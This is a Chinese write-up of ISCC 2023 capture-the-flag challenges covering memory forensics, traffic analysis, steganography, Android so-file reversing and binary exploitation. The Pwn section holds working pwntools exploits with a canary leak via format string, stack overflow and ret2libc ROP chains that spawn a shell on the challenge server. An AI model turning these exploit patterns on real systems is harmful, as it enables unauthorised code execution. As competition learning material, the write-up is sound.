解压缩包是个raw文件,应该是个内存取证题目,所以用volitility工具

先看一下系统信息

image-20230511203929467

发现是Win7SP1x64

然后看一下主机密码

image-20230511204015856

找到主机密码为:ISCC2023

然后对文件过滤一下,看看有没有与flag有关的文件

image-20230511204930640

在桌面发现flag.txt

尝试提取

image-20230511205057370

命令执行成功,但是并没有找到flag.txt的文件

换一个工具,使用R-Studio,对文件进行恢复,然后尝试提取

image-20230511205206989

image-20230511205222503

得到DES加密的密文:DES{U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO}

猜测key为主机密码

解密

image-20230511205403552

得到flag

解题收获:内存取证

菜鸟黑客-2

跟据上一题,发现桌面上有一个picture文件夹

image-20230512153602631

进入,发现好多图片,但是这个工具提取不出来,所以尝试使用volatility

image-20230511212239991

然后提取文件

image-20230511212350081

对那个emoji.jpg进行分离得到一个压缩包

解压发现需要密码,试了一下ISCC2023发现正确,得到一个维吉尼亚密码

image-20230512124928748

使用命令:python2 vol.py -f 1.raw --profile=Win7SP1x64 editbox

image-20230512130258860

找到提示:Pay attention to emoji's eyes

还有一个网页链接:

https://www.baidu.com/s?tn=93453552_hao_pg&ie=utf-8&sc=UWY4n1fdn1Rdn-qCmyqxTAThIjYkPWTdrHfsnjfYnjDLFhnqpA7EnHc1Fh7W5HcznHfkP1bY&ssl_sample=normal&srcqid=7168734798389100740&H123Tmp=nunew7&word=emoji%E6%91%A9%E6%96%AF%E5%AF%86%E7%A0%81

打开发现是emoji莫斯密码

image-20230512130453759

所以猜测emoji的眼睛是莫斯密码

image-20230512130542852

转化为:./--/---/.---/../../.../..-./..-/-.

解密得到:emojiisfun

image-20230512130830149

然后解维吉尼亚密码得到flag

image-20230512130952157

解题收获:内存取证+莫斯+维吉尼亚

消息传递

用Wireshark打开流量包,然后找tcp流在第20中找到邮件,内容为一个图片

image-20230512131236953

将其转化为图片base64,保存,对图片进行foremost分离

得到:

image-20230512131340444

当tcp流为18的时候找到pass2:FTQIPMVJFOKHHZUZ

image-20230512131438994

为15 的时候找到base64加密的pass1:V1JXQUFMSVVXT0haQVBRVw==

image-20230512131553266

解码得到:WRWAALIUWOHZAPQW

同时在这条流量中找到 picture.rar

image-20230512131700498

对下面的密文进行base64解密,然后转换为hex,导入到010保存为picture.rar

解压需要密码,根据前面的提示得到密码为:WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ

image-20230512131941463

得到一堆黑白照片,猜测是二进制,所以写脚本提取转化

import cv2
t = ""
for i in range(1,113):
    a = cv2.imread(str(i)+".png")
    a = list(a)
    if(str(a[0][0])=="[255 255 255]"):
        t+="0"
    else:
        t+="1"
print(t)
for i in range(0,len(t),8):
    flag = ""
    for j in range(8):
        flag += t[i+j]
    print(chr(int(flag,2)),end="")

得到转化后的二进制字符串和flag

0100100101010011010000110100001101111011011010010011001001110011001100000110001100110010011000110011001101111101
ISCC{i2s0c2c3}

然后根据第一步解压得到的字典对flag进行替换,得到真正的flag:ISCC{8wxf6n6p}

解题收获:01转二维码+流量分析

人生之路

对压缩包解压得到一个图片和一个压缩包,根据提示得到压缩包密码为:人生之路.jpeg

解压得到一段密文:

bXyGqXyGbX yXqGbXqGyX yXqXbX yXqXbX yGqGyGbGqGbG yXqXbXuGyG bXyGqXyGbX qXuXbXqXyXbXqXyX qXbXuXyX yXqXbX qyGqGuGbGuyGqbGqG qyGqGuGbGuyGqbGqG qbXubXqbXubX qXuGbGbuGqyGqbG qXuGbXuGqX bXyGqXyGbX qXuXbXqXyX qXuXbXqGyX qXbXuX qbXubXqbXubX bGqGbGyGqGyG

根据提示对他进行凯撒解密,当秘钥为24的时候

得到:

dZaIsZaIdZ aZsIdZsIaZ aZsZdZ aZsZdZ aIsIaIdIsIdI aZsZdZwIaI dZaIsZaIdZ sZwZdZsZaZdZsZaZ sZdZwZaZ aZsZdZ saIsIwIdIwaIsdIsI saIsIwIdIwaIsdIsI sdZwdZsdZwdZ sZwIdIdwIsaIsdI sZwIdZwIsZ dZaIsZaIdZ sZwZdZsZaZ sZwZdZsIaZ sZdZwZ sdZwdZsdZwdZ dIsIdIaIsIaI

根据提示,猜测wsad是上下左右控制方向,然后Z和I是控制长度

然后画字符画

最后全部画出得到flag:ISCC{GIB0CAAWKHIDPUW}

mystery of bits

下载解压得到一个图片和一个压缩包,图片的高度被修改了,用工具跑一下,发现高度应该和宽度一样为1080,修改之后用StegSolve.jar打开,切换颜色通道找到

image-20230522164004368

将图片旋转拉伸得到压缩包密码

image-20230522164322781

解压得到一个wav的音频,在得到的音频中用十六进制工具打开找到一个password:ISCC2023

image-20230522164652969

用stegpy工具跑一下

image-20230522164900829

得到一串01字符串,猜测是个二维码

from PIL import Image
from zlib import *

t = '0000000000000000000000000000000011111110101010111111101111111001000001011101011100000100000100101110101111000111110010111010010111010101000000101001011101001011101010110100101000101110100100000100010110000001010000010011111110101010101010101111111000000000010011001101000000000000010101101010101010111110111110011110000111111100010100101110000010111010010110110101101111000011100000011100000111000001110001001011101001011010010110100000000110100000111000001110000000001011101001011010010110100100010001101001100111011101010100001010011111010110011101001111100000011001100100001101100101000010100010011000010000011000100001011100001011001110110110100100101011100111110101111111101100000000000100001010110100010001001111111001000110010010101010000100000101101111001001000111110010111010011101110101111110101001011101010111011001101110101000101110100010111010101110111010010000010110011001000110011110001111111000010001000010010100000000000000000000000000000000000'
MAX = 961 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
i=0
for y in range(0,MAX):
    for x in range(0,MAX):
        if(t[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

运行脚本得到二维码

image-20230522165101423

扫码得到flag:ISCC{congratulation_and_it_is_real}

解题收获:01转二维码

通信方式

拿到一个wav格式的音频,分析发现左右声道有些区别,写脚本读取左右声道的值,并计算其差值

image-20230525142115367

发现其值有1有2且总数为某个数的平方数,所以怀疑是二维码,对脚本进行优化

image-20230525142322573

运行得到一张二维码

image-20230525143946206

扫码得到:5337 5337 2448 2448 0001 2448 0001 2161 1721 5337 0001 0668 5337 4574 0604 3320 0001 2448 0001 2977 3024 3320 0001 0668 5337 5337 0676 4122 0037 5337 0604 0604 2161 1721

根据题目描述猜测其为莫斯电码,但是这个又不符合莫斯电码的格式,所以猜测为中文莫斯电码,找在线网站解码

image-20230525144018179
image-20230525144046277

根据中文读出来发现是英文的谐音,最终得到flag:ISCC{AKDVZCYBZKHPJVV}

解题收获:音频分析

你相信AI吗?

这里根据给定的题目

循环遍历数字0到31,每次读取一个数据文件,文件名为"./dataset/{i}.txt",其中i为循环变量。
读取数据文件中的数据,将每个数据行解析为一个浮点数,并将所有数据放入一个numpy数组中。
根据数据数组的大小,将其转换为一个二维数组,并将二维数组保存为一个PNG图像文件,文件名为"./out/{i}.png",其中i为循环变量。如果数据数组的大小不是2352或1568,则打印出该循环变量i的值,以便进行调试。

import cv2
import numpy as np

for i in range(32):
    with open(f"./dataset/{i}.txt", "r") as f:
        data = f.read().splitlines()

    image_data = np.array([float(line) for line in data])
    if image_data.shape[0] == 2352:
        cv2.imwrite(f"./out/{i}.png", image_data.reshape(84, 28))
    elif image_data.shape[0] == 1568:
        cv2.imwrite(f"./out/{i}.png", image_data.reshape(56, 28))
    else:
        print(i)

image-20230529210930760

这里得到好多图片

然后将图片中的数字进行提取

循环遍历数字0到31,每次读取一个数据文件,文件名为"./dataset/{i}.txt",其中i为循环变量。
读取数据文件中的数据,将每个数据行解析为一个浮点数,并将所有数据放入一个numpy数组中。
根据数据数组的大小,将其转换为一个二维数组,并将二维数组保存为一个PNG图像文件,文件名为"./out/{i}.png",其中i为循环变量。如果数据数组的大小不是2352或1568,则打印出该循环变量i的值,以便进行调试。
定义一个函数pd,用于判断一个字节数组是否全部由可打印字符组成。
定义一个密文cipher_text,它是一个由空格分隔的字符串,其中包含了需要解密的密文。
使用itertools.permutations生成所有可能的数字排列,对于每个数字排列,将其应用于cipher_text中的数字,得到一个新的字符串lis。
使用map函数将lis中的字符串转换为数字,并将其打包为一个字节数组plan_text。
判断plan_text是否全部由可打印字符组成,并且前六个字符是否为"SVNDQ3"。
如果plan_text符合条件,则将其解码为一个字符串tmp,如果tmp的前五个字符为"ISCC{",则打印出tmp,表示找到了正确的解密结果。

import cv2,string,itertools,contextlib,base64,os
import numpy as np

for i in range(32):
   with open(f"./dataset/{i}.txt", "r") as f:
      data = f.read().splitlines()
   image_data = np.array([float(line) for line in data])
   if image_data.shape[0] == 2352:
      cv2.imwrite(f"./out/{i}.png", image_data.reshape(84, 28))
   elif image_data.shape[0] == 1568:
      cv2.imwrite(f"./out/{i}.png", image_data.reshape(56, 28))
   else:
      print(i)

pd=lambda x:all(chr(byte) in string.printable for byte in x)
cipher_text = '51 59 75 95 56 46 669 79 72 92 41 41 56 05 78 70 52 55 53 633 27 46 99 71 57 687 53 54 683 56 96 96'.split(" ")
for i in itertools.permutations("0123456789", 10):
    maktrans = str.maketrans("0123456789", ''.join(i))
    lis = [str.translate(i, maktrans) for i in cipher_text]
    with contextlib.suppress(Exception):
        plan_text = bytes(list(map(lambda x: int(x), lis)))
        if pd(plan_text) and str(plan_text)[2:8]=="SVNDQ3":
            tmp=base64.b64decode(plan_text).decode("utf-8")
            if tmp[0:5]=='ISCC{':
               print(tmp)

解题收获:初步了解人工智能

Mobile

NOJAVA

用jadx分析apk文件

找到MainActivity

image-20230512133127979

发现密文:YffZeiijjjYfiYjjjejeeZYe

分析函数,发现是调用的so文件进行加密

所以对apk进行解压,找到lib文件夹下的so文件,找到合适的版本用ida打开

找到加密函数,F5

image-20230512133302534

通过分析发现最终是调用这个A函数进行加密

image-20230512133330149

分析这个函数

image-20230512134351461

在这里将我们的flag转换为二进制

image-20230512134425578

然后按照这个规则替换

也就是:"1001":"10","0110":"01","1010":"11","0101":"00"

然后重新转换为字符串得到密文返回

所以解密的时候只需要反过来就行

exp:

import libnum

s = 'eZeYYZfiYeejjiejfifjjYjj' # 字符串
s = libnum.s2n(s)
a = bin(s)[2:]

a = (4-(len(a)%4))*'0'+a
a = [a[i*4:(i+1)*4] for i in range(len(a)//4)]

dic = {"1001":"10","0110":"01","1010":"11","0101":"00"}
flag = ""
for i in a:
    flag += dic[i]

print("ISCC{",end="")
for i in range(0,len(flag)//8):
    t = flag[i*8:(i+1)*8]
    print(chr(int(t,2)),end="")
print("}")

运行得到flag:ISCC{CB#V$GvGVWrw}

解题收获:学习安卓so文件逆向

WhereisFlag-1

image-20230524165903286

分析代码,发现主要的加密判断逻辑在checkSN函数中,这个函数存在于so文件内,将apk解压在lib文件夹下找到so文件,找到合适的版本,用ida打开

经过分析发现flag存放于这两个函数中

image-20230524170442008

在wrong1中找到

image-20230524170612626

根据提示解密

image-20230524170940928

得到前半部分flag

在wrong2中

image-20230524171027622

主要的加密函数为rc4,其中秘钥为:this is key for Encript test

明文为:flagishere

将明文加密得到密文为第二部分flag

image-20230524171243470

这里得到第二部分密文为:128215131d0dd4119e60

组合得到flag

解题收获:rc4+md5

WhereisHint-2

image-20230529134801296

分析代码,这里发现验证的函数在androidx.appcompat.app包中

观察发现,加密函数在so文件内,调用eq函数

image-20230529134950853

发现加密函数有点像是DES,但是可能有些地方被魔改了,这里直接尝试调用so文件爆破

image-20230529135103134

自定义了一个码表,然后使用随机数进行选择,分析密文得知,明文应该是八位的,通过调用eq函数得到验证明文确实是八位

image-20230529135229044

这里有点看运气,但是跑了两天确实是跑出来了,最终得到flag:ISCC{flagfkyy}

解题收获:爆破字符串

MobileTest

image-20230525132410370

找到最终的密文为:nedE74BAB6984CBEFF0946CCD3297A21C3F7aisylE

然后发现这个是在a函数中经过了一次加密也就是最后一次加密

image-20230525132511461

发现其实是在a函数中把so文件中加密的结果给添加上了一些字符

所以还原一下得到:74BAB6984CBEFF0946CCD3297A21C3F7

然后分析so文件中的函数

image-20230525195024458

这里发现其实主要是调用stringfromjni_2()进行加密

image-20230525132749795

经过分析发现,这里就是一个密钥扩展和加密,使用的算法就是aes,密钥就是dest

image-20230525132850356

这里发现为dest赋值的地方,查看内存中的值得到字符串:nedEaisylE

十六进制为:

0x61, 0x69, 0x73, 0x79, 
0x6C, 0x45, 0x6E, 0x65, 
0x64, 0x45, 0x61, 0x69, 
0x73, 0x79, 0x6C, 0x45

image-20230525133029760

继续分析,发现这里S盒被替换

image-20230525133107979

在内存中找到替换后的S盒,同时发现逆S盒也被替换,将逆S盒的值也拿出来

得到:

// S盒
byte S[256] = {
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 
0x4, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x5, 0x9a, 0x7, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 
0x53, 0xd1, 0x0, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 
0x9, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x2, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0xb, 0xdb, 
0xcd, 0xc, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x8, 
0xe0, 0x32, 0x3a, 0xa, 0x49, 0x6, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x3, 0xf6, 0xe, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 
0x8c, 0xa1, 0x89, 0xd, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0xf, 0xb0, 0x54, 0xbb, 0x16, 
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf
};

//逆S盒
byte inv_S[256] = {
0x42, 0x19, 0x7a, 0xc5, 0x20, 0x26, 0xb5, 0x28, 0xaf, 0x50, 0xb3, 0x8e, 0x91, 0xe3, 0xc7, 0xeb, 
0x6c, 0xf3, 0x29, 0x92, 0x8b, 0x3f, 0xef, 0x97, 0x24, 0x9e, 0x53, 0x54, 0xd4, 0xce, 0xf9, 0xdb, 
0x44, 0x6b, 0x84, 0x22, 0xb6, 0xd2, 0x33, 0x2d, 0xfe, 0x5c, 0x85, 0x1b, 0x52, 0xea, 0xd3, 0x5e, 
0x18, 0x3e, 0xb1, 0x76, 0x38, 0xc9, 0x34, 0xa2, 0x66, 0x4b, 0xb2, 0x59, 0x7d, 0x9b, 0xc1, 0x35, 
0x62, 0xe8, 0xe6, 0x74, 0x96, 0x78, 0x88, 0x6, 0xc4, 0xb4, 0x4c, 0xdc, 0x4d, 0x75, 0xa6, 0x82, 
0x7c, 0x60, 0x58, 0x40, 0xed, 0xfd, 0xa9, 0xca, 0x4e, 0x5, 0x56, 0x47, 0xb7, 0x9d, 0x8d, 0x94, 
0x80, 0xc8, 0xbb, 0x10, 0x9c, 0xac, 0xc3, 0x1a, 0xe7, 0xf4, 0x48, 0x15, 0xa8, 0xa3, 0x55, 0x16, 
0xc0, 0x3c, 0xe, 0x9f, 0xda, 0x2f, 0x1f, 0x12, 0xd1, 0xbf, 0xad, 0x13, 0x11, 0x3, 0x9a, 0x7b, 
0x2a, 0x81, 0x1, 0x51, 0x5f, 0x77, 0xcc, 0xfa, 0x87, 0xe2, 0xdf, 0xde, 0xe0, 0xa4, 0xf6, 0x63, 
0x86, 0xbc, 0x64, 0x32, 0xf7, 0xbd, 0x25, 0x95, 0xf2, 0xe9, 0x27, 0xf8, 0xc, 0x65, 0xcf, 0x7e, 
0x57, 0xe1, 0xa, 0x61, 0xd, 0x39, 0xd5, 0x99, 0x7f, 0xa7, 0x72, 0x1e, 0xba, 0x8, 0xae, 0xb, 
0xec, 0x46, 0x2e, 0x5b, 0xd6, 0xc2, 0x69, 0x30, 0x8a, 0xcb, 0xd0, 0xee, 0x68, 0xdd, 0x4a, 0xe4, 
0xf, 0xcd, 0xb8, 0x23, 0x98, 0x17, 0xd7, 0x21, 0xa1, 0x2, 0x0, 0x49, 0x37, 0x90, 0xfc, 0x4f, 
0x70, 0x41, 0x6f, 0xb9, 0x9, 0xa5, 0x5a, 0x1d, 0x3d, 0xf5, 0x6a, 0x8f, 0x83, 0xd9, 0x8c, 0xff, 
0xb0, 0xf0, 0x2b, 0x5d, 0xbe, 0x3a, 0xe5, 0xa0, 0xd8, 0xfb, 0xab, 0x2c, 0x93, 0x43, 0x89, 0x71, 
0x7, 0x3b, 0x14, 0x6e, 0xaa, 0x67, 0xc6, 0x36, 0xf1, 0x79, 0x4, 0x73, 0x45, 0x31, 0x1c, 0x6d
};

image-20230525133436497

AES加密结束之后在这里将数据转换为十六进制的时候将高低位替换了

所以,在解AES之前先替换高低位得到密文:

0x47, 0xAB, 0x6B, 0x89, 
0xC4, 0xEB, 0xFF, 0x90, 
0x64, 0xCC, 0x3D, 0x92, 
0xA7, 0x12, 0x3C, 0x7F

然后从网上找一个AES加密的代码,将其中的S盒与逆S盒替换然后解密得到明文

image-20230525133657512

明文为:

7b  46  4c  41
47  49  53  6b
5e  69  61  6d
3d  65  69  7d

然后解密得到flag

image-20230525133734748

解题收获:AES解密

ManyJni

用jadx打开apk,分析代码

image-20230526175732241

这里发现是调用so文件中的stringFromJNI函数和man函数中的CD函数生成了两个变量C和D,然后利用C和D以及输入的flag传入stringJNI函数,生成了一个字符串,然后字符串分为前半部分和后半部分,与下面所给定的字符串进行比较,然后用ida分析so文件

image-20230526180003941

发现主要加密逻辑在这里,发现这里是对每一个字符单独进行操作,所以可以通过直接调用这个函数,来获取密文与明文对应的值

image-20230526180220077

当这里传入参数为a的时候,发现值为:.1083538065.1130340170

然后尝试传入参数为‘a’+c

image-20230526180422077

这里发现是对a的值进行了切割

然后尝试传入‘b’和‘b’+c

发现是同样的在‘b’+c中对b的值进行了切割得到了两部分,且中间的值一样,所以猜测值不变,一直遍历输出得到码表

{"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
       "3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
       "2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
       "2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
       "3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
       "881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
       "99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
       "2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
       "696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
       "2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
       "3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
       "4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
       "701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
       "4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
       "3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
       "1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
       "933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
       "3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
       "1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
       "4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
       "4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
       "4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
       "385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
       "4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}

然后编写脚本解flag:

exp:

dic = {"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
       "3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
       "2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
       "2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
       "3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
       "881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
       "99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
       "2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
       "696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
       "2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
       "3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
       "4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
       "701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
       "4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
       "3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
       "1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
       "933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
       "3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
       "1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
       "4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
       "4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
       "4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
       "385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
       "4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}

part1 = ".1463495029.1049530879.4097885373.4273244629.3747360752.4018804880.2381012008.166914849.1986798057.1236282010.529156133.4075828588"[1:].split(".")
part2 = ".1088610877.4255690777.4018178710.3478477188.949414639.2724391126.4088810995.75133536.4141497725.4060431406.278213883.429489377"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
    flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
    print("ISCC{" + flag[:-3] + "}")
else:
    print("wrong")

运行得到flag

解题收获:字典爆破

ManyMany

image-20230526182810468

分析代码,发现主要逻辑在stringFronJNI函数中,ida打开so文件分析代码

image-20230526182903000

这里发现第一个密文,分析发现是将传入的明文进行逆置

image-20230526182936802

这里发现第二段密文,这里是对,第二个明文进行某种方式打乱顺序,得到密文

经过分析发现最终的映射关系为0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7

编写脚本运行得到flag

exp:

s = "#16P"
s1 = "m=%mL9DO"
flag = s[::-1]
map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}
for i in range(8):
    flag += s1[map[i]]
print(flag)

Pwn

三个愿望

先检查一下文件

image-20230512135952188

发现开了Canary保护

然后用ida分析

image-20230512140418361

程序大概流程就是,对用户输入的数字与随机数进行比对,成功则进入secondwish否则退出,这里可以用read覆盖随机数

image-20230512140530316

这里可以通过read利用格式化字符串漏洞泄露canary,使用gdb调试确定canary偏移

image-20230512140740970

然后计算出偏移为11

所以第一步就是

p1=b"%11$p"
r.sendlineafter("Now you can make your second wish!\n",p1)
canary=int(r.recv(18),16)
print('canary='+str(hex(canary)))

image-20230512141136203

接下来进入第三个愿望

image-20230512141341666

利用read进行栈溢出get shell

完整exp:

from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
io=remote("59.110.164.72",10023)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
pay=flat(b'a'*(0xe),1)
io.sendlineafter("Now you can make your first wish\n",pay)
n=str(libc.rand() % 9 + 1)
io.sendlineafter("Please give me a number!\n",n)
pay1=b"%11$p"
io.sendlineafter("Now you can make your second wish!\n",pay1)
canary=int(io.recv(18),16)
print('canary='+str(hex(canary)))
io.sendlineafter("Please give me a number!\n",n)
pay2=flat(b'a'*(0x28),canary,b'a'*(0x8),0x4011f5)
io.sendafter("Now you can make your final wish!\n",pay2)
io.interactive()

Login

先检查

image-20230512142157073

没有保护

image-20230512142305482

利用read覆盖v6,进入if然后再利用read覆盖v4进入print_name

image-20230512142410642

这里将传入的参数也就是v4给复制到dest中,dest函数栈长为0x20

要构造ROP链来泄露libc计算基地址,从而计算system与binsh地址

返回地址填充为main,泄露之后返回main函数再打一遍程序

然后构造payload来get shell

exp:

from pwn import *
io=remote("59.110.164.72",10020)
elf=ELF('./Login')
libc=ELF('./libc-2.23.so')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
main=0x400796
context(arch='amd64',os='linux',log_level='debug')
poprdi=0x4008c3
ret=0x400599
pay=p32(0x15CC15CC)*8
io.sendafter("input the username:\n",pay)
pay1=flat(b'a'*(0x28),poprdi,putsgot,putsplt,main,word_size=64)
io.sendlineafter("input the password:\n",pay1)
io.recvlines(1)
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
base=addr-libc.sym['puts']
system=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
pay2=p32(0x15CC15CC)*8
io.sendafter("input the username:\n",pay2)
pay3=flat(b'a'*(0x28),ret,poprdi,sh,system,word_size=64)
io.sendlineafter("input the password:\n",pay3)
io.sendline("cat flag.txt")
io.interactive()

第一用笔-1

image-20230512144737028

image-20230512144828750

func_1()是初始化,直接看下面那个

image-20230512144918425

根据提示:Have you understood the nine stroke?

找到:一曰顿笔,二曰挫笔,三曰驭锋,四曰蹲锋,五曰存锋,六曰政锋,七曰耀锋,八曰按锋,九曰揭笔,

根据提示把:dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000

发送给程序

然后看func_2()

image-20230512145513098

image-20230512145814751

read读取数据不够不能构造rop链,然后在函数列表中找到

image-20230512145631346

所以先利用上一个read覆盖其返回地址为该函数的地址,再构造ROP链即可

然后程序成功进入该函数,构造payload泄露libc,计算基地址,再利用基地址计算system与binsh

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("59.110.164.72",10002)
elf=ELF('./usage_of_pen')
libc=ELF('./libc.so.6')    
io.sendafter(b"'nvfeng00'!\n",b"dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000")
ret=0x4006c1
rdi=0x400c53
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
pay1=b'a'*(0x20+8)+p64(0x400b0f)
io.sendafter(b"space",pay1)
